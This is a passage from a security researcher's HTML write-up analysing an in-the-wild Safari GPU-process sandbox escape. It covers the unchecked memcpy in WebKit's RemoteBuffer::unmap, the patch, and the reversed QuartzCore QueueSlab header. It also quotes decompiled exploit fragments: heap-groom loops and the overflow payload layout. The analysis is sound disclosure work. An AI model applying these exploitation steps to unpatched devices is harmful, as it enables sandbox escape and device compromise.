class="YrefKOOkxY-c3">IOMemoryDescriptor::createMappingInTask</span><span> will use to find space in the task virtual memory is identical to that used by </span><span class="YrefKOOkxY-c3">vm_allocate</span><span>, which starts to explain why the "heap groom" seen earlier is so simple, as </span><span class="YrefKOOkxY-c3">vm_allocate</span><span class="YrefKOOkxY-c5"> uses a simple bottom-up first fit algorithm.</span></p><h3 class="YrefKOOkxY-c6" id="h.fntnlbbhda7y"><span class="YrefKOOkxY-c10">mapAsync</span></h3> <p class="YrefKOOkxY-c2"><span>With the origin of the buffer figured out we can trace the GPU process side of the </span><span class="YrefKOOkxY-c3">mapAsync</span><span> IPC. Through various layers of indirection we eventually reach the following code with controlled </span><span class="YrefKOOkxY-c3">offset</span><span> and </span><span class="YrefKOOkxY-c3">size</span><span class="YrefKOOkxY-c5"> values:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* Buffer::getMappedRange(size_t offset, size_t size)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // https://gpuweb.github.io/gpuweb/#dom-gpubuffer-getmappedrange</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> auto rangeSize = size;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (size == WGPU_WHOLE_MAP_SIZE)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> rangeSize = computeRangeSize(m_size, offset);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!validateGetMappedRange(offset, rangeSize)) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // FIXME: "throw an OperationError and stop."</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return nullptr;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRanges.add({ offset, offset + rangeSize });</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRanges.compact();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> return static_cast<char*>(</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span class="YrefKOOkxY-c0">) + offset;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span> is the base of the buffer which the GPU kernel driver mapped into the GPU process address space via </span><span class="YrefKOOkxY-c3">AGXAccelerator::createBufferMemoryDescriptorInTaskWithOptions</span><span>. This code stores the requested mapping range in </span><span class="YrefKOOkxY-c3">m_mappedRanges</span><span> then returns a raw pointer into the underlying page. Higher up the callstack that raw pointer and length is stored into the </span><span class="YrefKOOkxY-c3">m_mappedRange</span><span> field. The higher level code then makes a copy of the contents of the buffer at that offset, wrapping that copy in a </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5"> to send back over IPC.</span></p><h3 class="YrefKOOkxY-c6" id="h.3k0n1m4o2k87"><span class="YrefKOOkxY-c10">unmap</span></h3> <p class="YrefKOOkxY-c2"><span>Here's the implementation of the </span><span class="YrefKOOkxY-c3">RemoteBuffer_Unmap</span><span> IPC on the GPU process side. At this point </span><span class="YrefKOOkxY-c3">data</span><span> is a </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5"> sent by the WebContent client.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void RemoteBuffer::unmap(Vector<uint8_t>&& data)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (!m_mappedRange)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(m_isMapped);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (m_mapModeFlags.contains(PAL::WebGPU::MapMode::Write))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> memcpy(m_mappedRange->source, data.data(), data.size());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_isMapped = false;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mappedRange = std::nullopt;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_mapModeFlags = { };</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The issue is a sadly trivial one: whilst the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> code does check that the client has previously mapped this buffer object - and thus </span><span class="YrefKOOkxY-c3">m_mappedRange</span><span> contains the offset and size of that mapped range - it fails to verify that the size of the </span><span class="YrefKOOkxY-c3">Vector<></span><span> of "modified contents" actually matches the size of the previous mapped range. Instead the code simply blindly </span><span class="YrefKOOkxY-c3">memcpy</span><span>'s the</span><span> client-supplied </span><span class="YrefKOOkxY-c3">Vector<></span><span> into the mapped range using the </span><span class="YrefKOOkxY-c3">Vector<></span><span class="YrefKOOkxY-c5">'s size rather than the range's.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This unchecked </span><span class="YrefKOOkxY-c3">memcpy</span><span class="YrefKOOkxY-c5"> using values directly from an IPC is the in-the-wild sandbox escape vulnerability.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/commit/54408f5746f2401721bd56d71de132a22b6f9856">Here's the fix</a></span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void RemoteBuffer::unmap(Vector<uint8_t>&& data)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0 YrefKOOkxY-c26">- if (!m_mappedRange)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0 YrefKOOkxY-c7">+ if (!m_mappedRange || m_mappedRange->byteLength < data.size())</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ASSERT(m_isMapped);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>It should be noted that </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://chromium.googlesource.com/chromium/src/+/main/docs/security/research/graphics/webgpu_technical_report.md">security issues with WebGPU are well-known</a></span><span> and the javascript interface to WebGPU is disabled in Safari on iOS. But the IPC's which support that javascript interface were </span><span class="YrefKOOkxY-c28">not</span><span> disabled, meaning that WebGPU still presented a rich sandbox-escape attack surface. </span><span>This seems like a significant oversight.</span></p><h3 class="YrefKOOkxY-c6" id="h.sgxbxdylz3io"><span class="YrefKOOkxY-c10">Destination unknown?</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Finding the allocation site for the GPU buffer wasn't trivial; the allocation site for the buffer was hard to determine statically, which made it hard to get a picture of what objects were being groomed. Figuring out the overflow target and its allocation site was similarly tricky.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Statically following the implementation of the </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend::CreateImageBuffer</span><span class="YrefKOOkxY-c5"> IPC, which, based on the high-level flow of the exploit, appeared like it must be responsible for allocating the overflow target again quickly ended up in system library code with no obvious targets.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Working with the theory that because of the simplicity of the heap groom it was likely that </span><span class="YrefKOOkxY-c3">vm_allocate</span><span>/</span><span class="YrefKOOkxY-c3">mmap</span><span> was somehow responsible for the allocations I set breakpoints on those APIs on an M1 mac in the Safari GPU process and ran the WebGL conformance tests. There was only a single place where </span><span class="YrefKOOkxY-c3">mmap</span><span class="YrefKOOkxY-c5"> was called:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">Target 0: (com.apple.WebKit.GPU) stopped.</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(lldb) bt</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">* thread #30, name = 'RemoteRenderingBackend work queue',</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> stop reason = breakpoint 12.1</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">* frame #0: mmap</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #1: QuartzCore`CA::CG::Queue::allocate_slab</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #2: QuartzCore`CA::CG::Queue::alloc</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #3: QuartzCore`CA::CG::ContextDelegate::fill_rects</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #4: QuartzCore`CA::CG::ContextDelegate::draw_rects_</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #5: CoreGraphics`CGContextFillRects</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #6: CoreGraphics`CGContextFillRect</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #7: CoreGraphics`CGContextClearRect</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #8: WebKit::ImageBufferShareableMappedIOSurfaceBackend::create</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> frame #9: WebKit::RemoteRenderingBackend::createImageBuffer</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This corresponds perfectly with the IPC we see called in the heap groom above!</span></p><h3 class="YrefKOOkxY-c6" id="h.7spv7up7sx8t"><span class="YrefKOOkxY-c10">To the core...</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">QuartzCore</span><span> is part of the low-level drawing/rendering code on iOS. Reversing the code around the mmap site it seems to be a custom queue type used for drawing commands. Dumping the </span><span class="YrefKOOkxY-c3">mmap</span><span>'ed </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5"> memory a little later on we see some structure:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">(lldb) x/10xg $x0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c000: 0x00000001420041d0 0x0000000000000000</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c010: 0x0000000000004000 0x0000000000003f10</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x13574c020: 0x000000013574c0f0 0x0000000000000000</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Reversing some of the surrounding QuartzCore code we can figure out that the header has a structure something like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">struct QuartzQueueSlab</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct QuartzQueueSlab *free_list_ptr;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t size_a;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t mmap_size;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t remaining_size;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t buffer_ptr;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint64_t f;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> uint8_t inline_buffer[16336];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">};</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's a short header with a free-list pointer, some sizes then a pointer into an inline buffer. The fields are initialized like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->free_list_ptr = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->size_a = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->mmap_size = mmap_size;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->remaining_size = mmap_size - 0x30;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">mapped_base->buffer_ptr = mapped_base->inline_buffer;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIqwtuc-0ZTnOb6WGHuqEg5P-gZ3Bf1fqfku2h66HxqhyphenhyphenJmhWFCFMwUTu2ohIfkpvNaj1ocPCESnt_HTMgMaxLzZbLey_tsxIrL8nRJrIa3EGvvOd85kwTppcuFay53pvegAUQ9InLI4D-QHKr9iazM-9MZMdz5gcS7_-AYjnX6bL5wWAzZoS6QnvipnI/s402/image4.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the state of a fresh QueueSlab, with the end pointer pointing to the start of the inline buffer." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIqwtuc-0ZTnOb6WGHuqEg5P-gZ3Bf1fqfku2h66HxqhyphenhyphenJmhWFCFMwUTu2ohIfkpvNaj1ocPCESnt_HTMgMaxLzZbLey_tsxIrL8nRJrIa3EGvvOd85kwTppcuFay53pvegAUQ9InLI4D-QHKr9iazM-9MZMdz5gcS7_-AYjnX6bL5wWAzZoS6QnvipnI/s402/image4.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the state of a fresh QueueSlab, with the end pointer pointing to the start of the inline buffer." /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> is a simple allocator. </span><span class="YrefKOOkxY-c3">end</span><span> starts off pointing to the start of the inline buffer; getting bumped up each allocation as long as </span><span class="YrefKOOkxY-c16">remaining</span><span class="YrefKOOkxY-c5"> indicates there's still space available:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjov058qoKcaKJw4Uoeq3WxRsoHyKokXVcHkKGabincvB7SKbtRgEJUKcF_jRyORK3M6aKH4EHHOnnTLVo4SS9VKvRIct1t5ZzVBp2D6Pvtz6LrBmFic5aQmKW0XTylkd9k_M7RqzIAXEN146E2taGVgf00lTbcK-iez0LB6_Sma02AhnVSpN3ORaP3ZU0/s401/image1.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the end pointer moving forwards within the allocated slab buffer" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjov058qoKcaKJw4Uoeq3WxRsoHyKokXVcHkKGabincvB7SKbtRgEJUKcF_jRyORK3M6aKH4EHHOnnTLVo4SS9VKvRIct1t5ZzVBp2D6Pvtz6LrBmFic5aQmKW0XTylkd9k_M7RqzIAXEN146E2taGVgf00lTbcK-iez0LB6_Sma02AhnVSpN3ORaP3ZU0/s401/image1.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the end pointer moving forwards within the allocated slab buffer" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Assuming that this very likely is the corruption target; the bytes which the call to </span><span class="YrefKOOkxY-c3">RemoteBuffer::Unmap</span><span class="YrefKOOkxY-c5"> would corrupt this header with line up like this:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg36uw0ZWS_Oufz6ILmIJGcbvm_gWPLVB7RDlaMLKAk0BDUDBAaka1uNs-cnhLBErOguET_SAsBprti8NkDcwvx42X6ujBuyegyMd9y3oezr7U1S5e2YZyXfCOPd0zbGjlt1EfJvV7etxNLb25g357NdxWWPJ7Aay6XPm39JiT9HdXieHUVVs3eZ8u44yk/s506/image13.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the QueueSlab fields corrupted by the primitive and have the arg value replaces the end inline buffer pointer" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg36uw0ZWS_Oufz6ILmIJGcbvm_gWPLVB7RDlaMLKAk0BDUDBAaka1uNs-cnhLBErOguET_SAsBprti8NkDcwvx42X6ujBuyegyMd9y3oezr7U1S5e2YZyXfCOPd0zbGjlt1EfJvV7etxNLb25g357NdxWWPJ7Aay6XPm39JiT9HdXieHUVVs3eZ8u44yk/s506/image13.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the QueueSlab fields corrupted by the primitive and have the arg value replaces the end inline buffer pointer" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[0] = 0x7F6F3229LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[1] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[2] = 0LL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[3] = 0xFFFFLL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[4] = arg;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The exploit's wrapper around the </span><span class="YrefKOOkxY-c3">RemoteBuffer::Unmap</span><span> IPC takes a single argument, which would like up perfectly with the inline-buffer pointer of the </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">, replacing it with an arbitrary value.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The queue slab is pointed to by a higher-level </span><span class="YrefKOOkxY-c3">CA::CG::Queue</span><span> object, which in turn is pointed to by a </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5"> object.</span></p><h3 class="YrefKOOkxY-c6" id="h.91c9rdruvafm"><span class="YrefKOOkxY-c10">Groom 2</span></h3> <p class="YrefKOOkxY-c2"><span>Before triggering the </span><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> overflow there's another groom:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">remote_device_after_base_id = rand();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (j = 0; j < 200; j++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDevice_CreateBuffer_16k(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_after_base_id + j);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_a);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_CacheNativeImage(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 34LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_a);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (k = 0; k < 200; k++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDevice_CreateBuffer_16k(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_after_base_id + 200 + k);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This is clearly trying to place an allocation related to </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend::CacheNativeImage</span><span> near a large number of allocations related to </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span> which is the IPC we saw earlier which causes the allocation of </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> objects. The purpose of this groom will become clear later.</span></p><h3 class="YrefKOOkxY-c6" id="h.m922711g24nn"><span class="YrefKOOkxY-c10">Overflow 1</span></h3> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The core primitive for the first overflow involves 4 IPC methods:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><ol class="c8 lst-kix_shbeio5ln3sf-0 start" start="1"><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteBuffer::MapAsync</span><span class="YrefKOOkxY-c5"> - sets up the destination pointer for the overflow</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteBufferUnmap</span><span class="YrefKOOkxY-c5"> - performs the overflow, corrupting queue metadata</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteDisplayListRecorder::DrawNativeImage</span><span class="YrefKOOkxY-c5"> - uses the corrupted queue metadata to write a pointer to a controlled address</span></li><li style="margin-left: 46pt;" class="c2 c9 li-bullet-0"><span class="YrefKOOkxY-c3">RemoteCDMFactoryProxy::CreateCDM</span><span class="YrefKOOkxY-c5"> - discloses the written pointer pointer value</span></li></ol> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">We'll look at each of those in turn:</span></p><h3 class="YrefKOOkxY-c6" id="h.juyeu9188qgr"><span class="YrefKOOkxY-c10">IPC 1 - MapAsync</span></h3> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (m = 0; m < 6; m++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> index_of_corruptor = m;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000LL,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPHqd83zzk0t69Zv406G_p93zAOAmrUtAz6-g6wnQfT1rQ_eViIYveasECdYVTO1MrK_wHcGaiYltNbX7Htfc9TJpsa45Q5y2mXse_cse34fl4fQJdbopVhLSwKE_XlPDWa2FfsVhPr5VTkrnwV2uBOvZ_YyfDmRiz8mb13ejtW-mHQcmkcSrwwkvZwY8/s581/image14.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing the relationship between RemoteBuffer objects, their backing buffers and the QueueSlab pages. The backing buffers and QueueSlab pages alternate" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPHqd83zzk0t69Zv406G_p93zAOAmrUtAz6-g6wnQfT1rQ_eViIYveasECdYVTO1MrK_wHcGaiYltNbX7Htfc9TJpsa45Q5y2mXse_cse34fl4fQJdbopVhLSwKE_XlPDWa2FfsVhPr5VTkrnwV2uBOvZ_YyfDmRiz8mb13ejtW-mHQcmkcSrwwkvZwY8/s581/image14.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing the relationship between RemoteBuffer objects, their backing buffers and the QueueSlab pages. The backing buffers and QueueSlab pages alternate" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They iterate through all 6 of the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects in the hope that the groom successfully placed at least one of them directly before a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> allocation. This </span><span class="YrefKOOkxY-c3">MapAsync</span><span> IPC sets the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span>'s </span><span class="YrefKOOkxY-c3">m_mappedRange->source</span><span> field to point at the very end (hopefully at a </span><span class="YrefKOOkxY-c3">QueueSlab</span><span class="YrefKOOkxY-c5">.)</span></p><h3 class="YrefKOOkxY-c6" id="h.d3tkakpsownh"><span class="YrefKOOkxY-c10">IPC 2 - Unmap</span></h3> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> wrap_remote_buffer_unmap(remote_device_buffer_id_base + m,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current - 0x88)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">wrap_remote_buffer_unmap</span><span> is the wrapper function we've seen snippets of before which calls the </span><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> IPC:</span></p> <p 